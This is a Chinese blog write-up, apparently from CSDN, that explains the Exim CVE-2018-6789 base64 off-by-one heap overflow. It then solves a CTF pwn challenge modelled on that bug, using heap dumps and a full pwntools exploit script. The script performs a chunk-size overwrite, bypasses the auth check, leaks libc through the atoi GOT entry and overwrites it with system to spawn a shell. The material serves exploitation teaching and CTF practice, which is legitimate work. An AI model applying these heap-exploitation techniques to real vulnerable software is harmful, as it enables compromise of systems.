exim2018-6789漏洞原理及迁移pwn题

exim2018-6789漏洞原理

漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节,比较经典的off-by-one漏洞。

存在漏洞的b64decode函数部分代码如下:

b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last
quantum this may decode to 1, 2, or 3 output bytes. */
 ......
}

我们知道,base64编码原理就是将明文8位8位排列,拆分成6位6位的当作索引去编码表找对应字符,这里就涉及到几个编码字符可以完整表示一个明文字符,这里就要求编码长度是6和8的最小公倍数即24,也就是说密文4字节可以完整表示明文3字节,该漏洞就在于在申请解码后空间大小的时候,可能导致1字节溢出,这段代码解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节,但是当最后余3个字节(即len(code)=4n+3)时,会解码成2个字节,解码后的总长度为 3n+2 字节,而分配的堆空间的大小为3n+1 ,因此就会发生堆溢出。当然,官方给出的修补方案也很简单,多分配几个字节就可以了。

迁移pwn题

题目分析

根据该漏洞原理,有一个pwn题,利用off-by-one,实现获取shell。
首先该题除了PIE,其他保护全开。
题目四个功能,add、find、edit、delete,其中add、edit涉及到base64单字节溢出漏洞,add函数的auth_code是base64解码后存入内存,其他功能(edit、delete)使用要验证auth_code,所以输入的要是auth_code经过base64编码后的结果,最多添加16个:

  for ( i = 0; i <= 15 && *(&ptr + i); ++i )
    ;
  if ( i == 16 )
  {
    puts("full");
  }
  else
  {
    printf("key: ");
    read(0, keybuf, 0x10uLL);
    if ( (unsigned int)sub_400B37(keybuf) == -1 )
    {
      nodestruct = malloc(0x28uLL);   <---结构体空间大小固定0x28
      v0 = keybuf[1];
      *(_QWORD *)nodestruct = keybuf[0];  <---赋值key
      *((_QWORD *)nodestruct + 1) = v0;
      printf("auth code: ");
      memset(s, 0, 0x400uLL);
      read(0, s, 0x3FFuLL);
      base64decode(s, (_QWORD *)nodestruct + 2);  <---解码auth_code
      while ( 1 )
      {
        printf("content size: ");
        nbytes = sub_400ADE();
        if ( nbytes > 0 && nbytes <= 1023 )
          break;
        puts("bad size");
      }
      *((_DWORD *)nodestruct + 8) = nbytes;
      *((_QWORD *)nodestruct + 3) = malloc(nbytes + 1);   <---content
      printf("content: ");
      *(_BYTE *)(*((_QWORD *)nodestruct + 3) + (int)read(0, *((void **)nodestruct + 3), (unsigned int)nbytes)) = 0;   <---content最后赋值零,防止泄露堆地址(put函数00截断)
      *(&ptr + i) = nodestruct;
    }

base64decode函数:

  auth_code = (char *)a1;
  auth_code_len = strlen(a1);
  v26 = malloc(3 * (auth_code_len >> 2) + 1);<----漏洞点
  *a2 = v26;

通过调试和代码分析可得到node的结构体:

gdb-peda$ x/100gx 0x18eb000
0x18eb000:	0x0000000000000000	0x0000000000000031
0x18eb010:	0x3030303030303030	0x3030303030303030  <--key 0x10
0x18eb020:	0x00000000018eb040	0x00000000018eb060  <--auth_code  content
0x18eb030:	0x0000000000000020	0x0000000000000021
0x18eb040:	0x6665656264616564	0x0000000000000000  <--auth
0x18eb050:	0x0000000000000000	0x0000000000000031
0x18eb060:	0x0000003074736574	0x0000000000000000  <--content
0x18eb070:	0x0000000000000000	0x0000000000000000
struct node{
	char *keybuf[0x10];
	char *auth_code[auth_size];
	char *content[content_size]
}

delete函数:

  printf("key: ");
  read(0, buf, 0x10uLL);
  v1 = sub_400B37(buf);
  if ( v1 == -1 )
  {
    puts("no match");
  }
  else
  {
    printf("auth code: ");
    memset(s, 0, 0x400uLL);
    read(0, s, 0x3FFuLL);
    base64decode(s, &s1);
    if ( !strcmp(s1, *((const char **)*(&ptr + v1) + 2)) )
    {
      free(s1);                                 // 释放输入的auth_code空间
      free(*((void **)*(&ptr + v1) + 3));       // 释放原有content空间
      free(*(&ptr + v1));                       // 释放原有结构体,key头指针
      *(&ptr + v1) = 0LL;                       // 结构体赋值0
    }
    else
    {
      puts("auth fail");
      free(s1);
    }
  }

edit函数:

  printf("key: ");
  read(0, buf, 0x10uLL);
  v2 = sub_400B37(buf);
  if ( v2 == -1 )
  {
    puts("no match");
  }
  else
  {
    printf("auth code: ");
    memset(s, 0, 0x400uLL);
    read(0, s, 0x3FFuLL);
    base64decode(s, &nbytes[1]);
    if ( !strcmp(*(const char **)&nbytes[1], *((const char **)*(&ptr + v2) + 2)) )
    {
      free(*(void **)&nbytes[1]);
      while ( 1 )
      {
        printf("content size: ");
        nbytes[0] = sub_400ADE();
        if ( nbytes[0] > 0 && nbytes[0] <= 1023 )
          break;
        puts("bad size");
      }
      if ( *((_DWORD *)*(&ptr + v2) + 8) < nbytes[0] )
      {
        v0 = (__int64)*(&ptr + v2);
        *(_QWORD *)(v0 + 24) = realloc(*(void **)(v0 + 24), nbytes[0] + 1);   <---realloc重新申请空间
        *((_DWORD *)*(&ptr + v2) + 8) = nbytes[0];
      }
      printf("content: ");
      *(_BYTE *)(*((_QWORD *)*(&ptr + v2) + 3) + (int)read(0, *((void **)*(&ptr + v2) + 3), nbytes[0])) = 0;
    }
    else
    {
      puts("auth fail");
      free(*(void **)&nbytes[1]);
    }
  }

这里realloc申请空间和原有空间大小有关:

  1. size>原size:
    • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
    • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
  2. size<原size:
    • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
    • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
  3. size=原size: 不操作
  4. size=0: 相当于free(ptr)

利用思路

通过结构体和调试得到的堆分配顺序,可看到auth_code溢出覆盖的是content的chunk size,可以将content chunk size的末位一字节改大,从而可以控制下个紧邻chunk的key空间的字段,进而控制auth_code、content字段指向。

  1. 利用add、delete、edit构造0x61、0x101的chunk相邻,再释放掉0x61,通过add申请,将0x61的fastbin(原来是chunk的content字段)申请到chunk的auth_code字段,由漏洞可以覆盖下一chunk的size的末位。
  2. 将下个chunk的size:0x101覆盖成0x131,从而有了0x30字节的可控区域
  3. 通过0x30字节实现泄露libc和改写got表,完成利用。

过程:

构造0x61、0x101的chunk相邻

addcord('0'*0x10,auth_code,0x20,'test0')
addcord('1'*0x10,auth_code,0x210,'test1') <--构造大块,然后释放到unsorted bin
addcord('2'*0x10,auth_code,0x20,'test2')
addcord('3'*0x10,auth_code,0x20,'test2')

deletecord("1"*0x10, auth_code)

addcord('1'*0x10,auth_code,0x90,'test1')  <--申请0x101 chunk
editcord('2'*0x10,auth_code,0x58-1,'b'*0x10)  <--申请0x61 chunk
0x1b890d0:	0x0000000000000000	0x00000000000000a1 <--原大小0x221的unsorted bin,现切割了0x90
0x1b890e0:	0x0000003174736574	0x00007f1d8cc0cd88
0x1b890f0:	0x0000000000000000	0x0000000000000000
0x1b89100:	0x0000000000000000	0x0000000000000000
0x1b89110:	0x0000000000000000	0x0000000000000000
0x1b89120:	0x0000000000000000	0x0000000000000000
0x1b89130:	0x0000000000000000	0x0000000000000000
0x1b89140:	0x0000000000000000	0x0000000000000000
0x1b89150:	0x0000000000000000	0x0000000000000000
0x1b89160:	0x0000000000000000	0x0000000000000000
0x1b89170:	0x0000000000000000	0x0000000000000021
0x1b89180:	0x0000000000000000	0x00007f1d8cc0cb00
0x1b89190:	0x0000000000000000	0x0000000000000061 <--申请0X61的块,chunk2的content
0x1b891a0:	0x6262626262626262	0x6262626262626262
0x1b891b0:	0x0000000000000000	0x0000000000000000
0x1b891c0:	0x0000000000000000	0x0000000000000000
0x1b891d0:	0x0000000000000000	0x0000000000000000
0x1b891e0:	0x0000000000000000	0x0000000000000000
0x1b891f0:	0x0000000000000000	0x0000000000000101 <--剩余unsorted bin
0x1b89200:	0x00007f1d8cc0cb78	0x00007f1d8cc0cb78
0x1b89210:	0x0000000000000000	0x0000000000000000
0x1b89220:	0x0000000000000000	0x0000000000000000

释放0x61块,再次申请chunk2,将0x61块申请到auth_code字段,覆盖下面的0x101低一字节位0x31:

deletecord("2"*0x10, auth_code)
#dbg()
######构造大小为0x60的auth_code去申请0x60的大小的chunk
auth_code_new = b64encode("deadbeef"*0xb+"1")
auth_code_new = auth_code_new.replace("=",'')
print hex((len(auth_code_new)>>2)*3+1)

addcord('2'*0x10,auth_code_new,0x20,'test1')
0x1b89190:	0x0000000000000000	0x0000000000000061
0x1b891a0:	0x6665656264616564	0x6665656264616564
0x1b891b0:	0x6665656264616564	0x6665656264616564
0x1b891c0:	0x6665656264616564	0x6665656264616564
0x1b891d0:	0x6665656264616564	0x6665656264616564
0x1b891e0:	0x6665656264616564	0x6665656264616564
0x1b891f0:	0x6665656264616564	0x0000000000000131 <----已覆盖
0x1b89200:	0x00007f1d8cc0cb78	0x00007f1d8cc0cb78
0x1b89210:	0x0000000000000000	0x0000000000000000
0x1b89220:	0x0000000000000000	0x0000000000000000

之后申请该unsorted bin,让其指向chunk3的content字段,我们就可以覆盖下面的chunk的content指针为atoi的got表地址,auth_code为任意固定字符串(程序中或libc中)用于绕过auth_code检查:

#######要覆盖atoi_got为system,edit功能必须验证auth_code
#两个方法:1.泄露heap,拿到auth_code的地址
#       2.修改auth_code地址为固定字符串地址,再次edit时使用固定字串绕过验证,此处用该方法
payload = ""
payload += 'a'*0x100
payload += '2'*0x10
payload += p64(str_addr) #该地址为auth_code地址,但是目前泄露不出heap地址,此时改为固定字符串
payload += p64(atoi_got)
editcord("3"*0x10, auth_code ,0x120 - 1, payload)

0x1b891f0:	0x6665656264616564	0x0000000000000131
0x1b89200:	0x6161616161616161	0x6161616161616161
0x1b89210:	0x6161616161616161	0x6161616161616161
0x1b89220:	0x6161616161616161	0x6161616161616161
0x1b89230:	0x6161616161616161	0x6161616161616161
0x1b89240:	0x6161616161616161	0x6161616161616161
0x1b89250:	0x6161616161616161	0x6161616161616161
0x1b89260:	0x6161616161616161	0x6161616161616161
0x1b89270:	0x6161616161616161	0x6161616161616161
0x1b89280:	0x6161616161616161	0x6161616161616161
0x1b89290:	0x6161616161616161	0x6161616161616161
0x1b892a0:	0x6161616161616161	0x6161616161616161
0x1b892b0:	0x6161616161616161	0x6161616161616161
0x1b892c0:	0x6161616161616161	0x6161616161616161
0x1b892d0:	0x6161616161616161	0x6161616161616161
0x1b892e0:	0x6161616161616161	0x6161616161616161
0x1b892f0:	0x6161616161616161	0x6161616161616161
0x1b89300:	0x3232323232323232	0x3232323232323232
0x1b89310:	0x0000000000401908	0x0000000000602090 <--str_addr atoi_got
0x1b89320:	0x0000000000000020	0x0000000000000021

然后调用find函数输出atoi地址,泄露libc。

atoi = findcord("2"*0x10)
atoi_addr = int(atoi,16)

构造和固定字符串相同的字符,绕过验证,通过编辑功能将chunk2的content为system,覆盖got表,传入参数/bin/sh,拿到shell。

#####构造固定字串,绕过验证
auth_code_new1 = b64encode('no match')
#auth_code_new1 = auth_code_new1.replace("=",'')
#通过验证,修改atoi_got为sys
editcord("2"*0x10, auth_code_new1 ,0x10,p64(sys_addr))
#dbg()
#触发atoi,拿shell
p.sendafter("choice>> ",'/bin/sh')

完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from base64 import b64encode

arch = '64'
version = '2.23'
context.log_level='debug'
p = process('./auth_record')
#p = remote("10.104.7.86",9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./auth_record')
context(os='linux', arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
def get_one():
    if(arch == '64'):
        if(version == '2.23'):
            one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        if (version == '2.27'):
            #one = [0x4f2c5 , 0x4f322 , 0x10a38c]
            one = [0x4f365 , 0x4f3c2 , 0x10a45c]
    return one
def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
def addcord(key,authcode,size,content=''):
    p.sendafter("choice>> ",'1')
    p.sendafter("key: ",key)
    p.sendafter("auth code: ",authcode)
    p.sendafter("content size: ",str(size))
    p.sendafter("content: ",content)


def findcord(key):
    p.sendafter("choice>> ",'2')
    p.sendafter("key: ",key)
    info = hex(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
    return info

def deletecord(key,authcode):
    p.sendafter("choice>> ",'4')
    p.sendafter("key: ",key)
    p.sendafter("auth code: ",authcode)
    
def editcord(key,authcode,size,content=''):
    p.sendafter("choice>> ",'3')
    p.sendafter("key: ",key)
    p.sendafter("auth code: ",authcode)
    p.sendafter("content size: ",str(size))
    p.sendafter("content: ",content)
auth_code = b64encode("deadbeef")
######构造0x60和0x100的chunk相邻
addcord('0'*0x10,auth_code,0x20,'test0')
addcord('1'*0x10,auth_code,0x210,'test1')
addcord('2'*0x10,auth_code,0x20,'test2')
addcord('3'*0x10,auth_code,0x20,'test2')

deletecord("1"*0x10, auth_code)
dbg()
addcord('1'*0x10,auth_code,0x90,'test1')
editcord('2'*0x10,auth_code,0x58-1,'b'*0x10)# 0x58-1利用base64一字节溢出

deletecord("2"*0x10, auth_code)
#dbg()
######构造大小为0x60的auth_code去申请0x60的大小的chunk
auth_code_new = b64encode("deadbeef"*0xb+"1")
auth_code_new = auth_code_new.replace("=",'')
print hex((len(auth_code_new)>>2)*3+1)

addcord('2'*0x10,auth_code_new,0x20,'test1')
#dbg()
###### 泄露atoi_addr地址,获取libc
# 通过base64一字节溢出覆盖下个0x100的chunk为0x131使其能控制chunk2的author_code和content的指针,泄露和改写地址

atoi_got = elf.got['atoi']
print 'atoi_got:',hex(atoi_got)
str_addr = next(elf.search(b"no match"))
print 'no match:',hex(str_addr)

#######要覆盖atoi_got为system,edit功能必须验证auth_code
#两个方法:1.泄露heap,拿到auth_code的地址
#       2.修改auth_code地址为固定字符串地址,再次edit时使用固定字串绕过验证,此处用该方法
payload = ""
payload += 'a'*0x100
payload += '2'*0x10
payload += p64(str_addr) #该地址为auth_code地址,但是目前泄露不出heap地址,此时改为固定字符串
payload += p64(atoi_got)
editcord("3"*0x10, auth_code ,0x120 - 1, payload)
atoi = findcord("2"*0x10)
atoi_addr = int(atoi,16)
print 'atoi_addr',hex(atoi_addr)
print 'atoi:',hex(libc.symbols["atoi"])
libc_base = atoi_addr - libc.symbols["atoi"] 
print 'libc_base:',hex(libc_base)
sys_addr = libc_base+libc.symbols['system']
log.info('sys_addr:%#x' %sys_addr)
#dbg()

#####构造固定字串,绕过验证
auth_code_new1 = b64encode('no match')
#auth_code_new1 = auth_code_new1.replace("=",'')
#通过验证,修改atoi_got为sys
editcord("2"*0x10, auth_code_new1 ,0x10,p64(sys_addr))
#dbg()
#触发atoi,拿shell
p.sendafter("choice>> ",'/bin/sh')

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值